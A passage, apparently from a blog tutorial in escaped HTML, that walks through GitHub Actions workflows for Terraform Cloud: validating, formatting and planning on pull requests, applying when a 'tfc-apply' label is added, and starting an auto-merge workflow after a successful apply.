style=\"background-color:#22272e;color:#adbac7\" tabindex=\"0\" data-language=\"yml\" data-theme=\"github-dark-dimmed\"\u003e\u003ccode data-language=\"yml\" data-theme=\"github-dark-dimmed\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#8DDB8C\"\u003ename\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003epr_build\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e \u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#6CB6FF\"\u003eon\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e:\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#8DDB8C\"\u003e pull_request\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e:\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#8DDB8C\"\u003e branches\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e:\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e - \u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003emain\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e \u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#8DDB8C\"\u003eenv\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e:\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#8DDB8C\"\u003e TERRAFORM_CLOUD_TOKENS\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003eapp.terraform.io=${{ secrets.TFE_TOKEN }}\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#8DDB8C\"\u003e GITHUB_TOKEN\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e${{ secrets.GITHUB_TOKEN }}\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e \u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#8DDB8C\"\u003ejobs\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e:\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#8DDB8C\"\u003e terraform_validate\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e:\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#8DDB8C\"\u003e runs-on\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003eubuntu-22.04\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#8DDB8C\"\u003e strategy\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e:\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#8DDB8C\"\u003e fail-fast\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003efalse\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#8DDB8C\"\u003e matrix\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e:\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#8DDB8C\"\u003e folder\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e:\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e - \u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003eroot\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#8DDB8C\"\u003e steps\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e:\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e - \u003c/span\u003e\u003cspan style=\"color:#8DDB8C\"\u003ename\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003eCheckout\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#8DDB8C\"\u003e uses\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003eactions/checkout@v3\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e \u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e - \u003c/span\u003e\u003cspan style=\"color:#8DDB8C\"\u003ename\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003eterraform validate\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#8DDB8C\"\u003e uses\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003edflook/terraform-validate@v1\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#8DDB8C\"\u003e with\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e:\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#8DDB8C\"\u003e path\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e${{ matrix.folder }}\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#8DDB8C\"\u003e workspace\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e${{ matrix.folder }}\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e \u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#8DDB8C\"\u003e terraform_fmt\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e:\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#8DDB8C\"\u003e runs-on\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003eubuntu-22.04\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#8DDB8C\"\u003e strategy\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e:\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#8DDB8C\"\u003e fail-fast\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003efalse\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#8DDB8C\"\u003e matrix\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e:\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#8DDB8C\"\u003e folder\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e:\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e - \u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003eroot\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#8DDB8C\"\u003e steps\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e:\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e - \u003c/span\u003e\u003cspan style=\"color:#8DDB8C\"\u003euses\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003eactions/checkout@v3\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e \u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e - \u003c/span\u003e\u003cspan style=\"color:#8DDB8C\"\u003ename\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003eterraform fmt\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#8DDB8C\"\u003e uses\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003edflook/terraform-fmt-check@v1\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#8DDB8C\"\u003e with\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e:\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#8DDB8C\"\u003e path\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e${{ matrix.folder }}\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#8DDB8C\"\u003e workspace\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e${{ matrix.folder }}\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e \u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#8DDB8C\"\u003e terraform_plan\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e:\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#8DDB8C\"\u003e runs-on\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003eubuntu-22.04\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#8DDB8C\"\u003e permissions\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e:\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#8DDB8C\"\u003e contents\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003eread\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#8DDB8C\"\u003e pull-requests\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003ewrite\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#8DDB8C\"\u003e strategy\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e:\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#8DDB8C\"\u003e fail-fast\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003efalse\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#8DDB8C\"\u003e matrix\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e:\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#8DDB8C\"\u003e folder\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e:\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e - \u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003eroot\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#8DDB8C\"\u003e steps\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e:\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e - \u003c/span\u003e\u003cspan style=\"color:#8DDB8C\"\u003euses\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003eactions/checkout@v3\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e - \u003c/span\u003e\u003cspan style=\"color:#8DDB8C\"\u003ename\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003eterraform plan\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#8DDB8C\"\u003e uses\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003edflook/terraform-plan@v1\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#8DDB8C\"\u003e with\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e:\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#8DDB8C\"\u003e path\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e${{ matrix.folder }}\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#8DDB8C\"\u003e workspace\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e${{ matrix.folder }}\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/figure\u003e\n\u003cp\u003eThis creates three jobs:\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e\u003cstrong\u003eterraform_validate\u003c/strong\u003e: This validates the terraform via \u003ccode\u003eterraform validate\u003c/code\u003e\ncommand to make sure that it is correct and does not have duplicate resources\nor anything like that.\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eterraform_fmt\u003c/strong\u003e: This verifies that the terraform is well formatted by\nrunning the \u003ccode\u003eterraform fmt\u003c/code\u003e command.`\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eterraform_plan\u003c/strong\u003e: This runs the \u003ccode\u003eterraform\u003c/code\u003e plan and comments on the PR a\ndiff of the changes for you to verify.\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003eTo verify this is working, lets delete \u003ccode\u003eroot/2-sqs.tf\u003c/code\u003e, then lets push a branch\nand make a pull request to see the result so far:\u003c/p\u003e\n\u003cfigure data-rehype-pretty-code-figure=\"\"\u003e\u003cpre style=\"background-color:#22272e;color:#adbac7\" tabindex=\"0\" data-language=\"bash\" data-theme=\"github-dark-dimmed\"\u003e\u003ccode data-language=\"bash\" data-theme=\"github-dark-dimmed\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e rm\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e root/2-sqs.tf\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e git\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e add\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e .github/\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e root/\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e git\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e checkout\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e -b\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e apply-before-merge\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e git\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e commit\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e -m\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e \"Implemented on-pull-request\"\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e git\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e push\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e origin\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e head\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/figure\u003e\n\u003cp\u003eAfter you make the pull request you should 3 checks on it and a comment that\nshows the plan:\u003c/p\u003e\n\u003ccenter\u003e\n\u003cimg src=\"/images/posts/aws_apply_before_merge/github_comment.png\" width=\"400\"\u003e\n\u003cimg src=\"/images/posts/aws_apply_before_merge/github_checks.png\" width=\"400\"\u003e\n\u003c/center\u003e\n\u003ch1\u003eApply on Label\u003c/h1\u003e\n\u003cp\u003eSo now that the plan is working we need some way to \u003ccode\u003eapply\u003c/code\u003e the changes. I have\nfound the best way to do this is via a label rather than a comment because of\nthe way github actions work. Their event based actions like \u003ccode\u003eon-comment\u003c/code\u003e are not\nexecuted in the context of a pull-request.\u003c/p\u003e\n\u003cp\u003eSince we will be using a label to signal a plan is ready to be applied lets\ncreate a new file \u003ccode\u003e.github/workflows/on-pull-request-labeled.yml\u003c/code\u003e and provide\nthis content:\u003c/p\u003e\n\u003cfigure data-rehype-pretty-code-figure=\"\"\u003e\u003cpre style=\"background-color:#22272e;color:#adbac7\" tabindex=\"0\" data-language=\"yaml\" data-theme=\"github-dark-dimmed\"\u003e\u003ccode data-language=\"yaml\" data-theme=\"github-dark-dimmed\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#8DDB8C\"\u003ename\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003epr_apply\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e \u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#6CB6FF\"\u003eon\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e:\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#8DDB8C\"\u003e pull_request\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e:\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#8DDB8C\"\u003e types\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e: [ \u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003elabeled\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e ]\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e \u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#8DDB8C\"\u003eenv\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e:\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#8DDB8C\"\u003e TERRAFORM_CLOUD_TOKENS\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003eapp.terraform.io=${{ secrets.TFE_TOKEN }}\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#8DDB8C\"\u003e GITHUB_TOKEN\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e${{ secrets.GITHUB_TOKEN }}\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e \u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#8DDB8C\"\u003ejobs\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e:\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#8DDB8C\"\u003e terraform_apply\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e:\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#8DDB8C\"\u003e if\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e${{ github.event.label.name == 'tfc-apply' }}\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#8DDB8C\"\u003e runs-on\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003eubuntu-22.04\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#8DDB8C\"\u003e permissions\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e:\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#8DDB8C\"\u003e contents\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003eread\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#8DDB8C\"\u003e pull-requests\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003ewrite\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#8DDB8C\"\u003e strategy\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e:\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#8DDB8C\"\u003e fail-fast\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003efalse\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#8DDB8C\"\u003e matrix\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e:\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#8DDB8C\"\u003e folder\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e:\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e - \u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003eroot\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#8DDB8C\"\u003e steps\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e:\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e - \u003c/span\u003e\u003cspan style=\"color:#8DDB8C\"\u003euses\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003eactions/checkout@v3\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e - \u003c/span\u003e\u003cspan style=\"color:#8DDB8C\"\u003euses\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003edflook/terraform-apply@v1\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#8DDB8C\"\u003e with\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e:\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#8DDB8C\"\u003e path\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e${{ matrix.folder }}\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#8DDB8C\"\u003e workspace\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e${{ matrix.folder }}\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/figure\u003e\n\u003cp\u003eThis will fire whenever a pull request is labeled with the \u003ccode\u003etfc-apply\u003c/code\u003e label.\nYou will need to create this label for the repository.\u003c/p\u003e\n\u003cp\u003eIt will run the \u003ccode\u003eapply\u003c/code\u003e and update the previous plan comment to let you\nknow the status.\u003c/p\u003e\n\u003ccenter\u003e\n\u003cimg src=\"/images/posts/aws_apply_before_merge/tfc_applying.png\" width=\"400\"\u003e\n\u003cimg src=\"/images/posts/aws_apply_before_merge/tfc_applying_comment.png\" width=\"400\"\u003e\n\u003c/center\u003e\n\u003ch1\u003eMerge on Apply\u003c/h1\u003e\n\u003cp\u003eOne thing you will notice is that the pull request stayed open even after the\ninfrastructure is applied and we do not want that. We want any changes that have\nmade it into the environment to be merged into \u003ccode\u003emain\u003c/code\u003e automatically. To do\nthis we will create our final action.\u003c/p\u003e\n\u003cp\u003eCreate a new file \u003ccode\u003e.github/workflows/on-apply-finished.yml\u003c/code\u003e with this content:\u003c/p\u003e\n\u003cfigure data-rehype-pretty-code-figure=\"\"\u003e\u003cpre style=\"background-color:#22272e;color:#adbac7\" tabindex=\"0\" data-language=\"yaml\" data-theme=\"github-dark-dimmed\"\u003e\u003ccode data-language=\"yaml\" data-theme=\"github-dark-dimmed\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#8DDB8C\"\u003ename\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003epr_merge\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e \u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#768390\"\u003e# Only trigger, when the build workflow succeeded\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#6CB6FF\"\u003eon\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e:\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#8DDB8C\"\u003e workflow_run\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e:\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#8DDB8C\"\u003e workflows\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e: [\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003epr_apply\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e]\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#8DDB8C\"\u003e types\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e:\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e - \u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003ecompleted\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e \u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#8DDB8C\"\u003ejobs\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e:\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#8DDB8C\"\u003e merge\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e:\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#8DDB8C\"\u003e if\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e${{ github.event.workflow_run.conclusion == 'success' }}\u003c/span\u003e\u003c/span\u003e\n\u003cspan 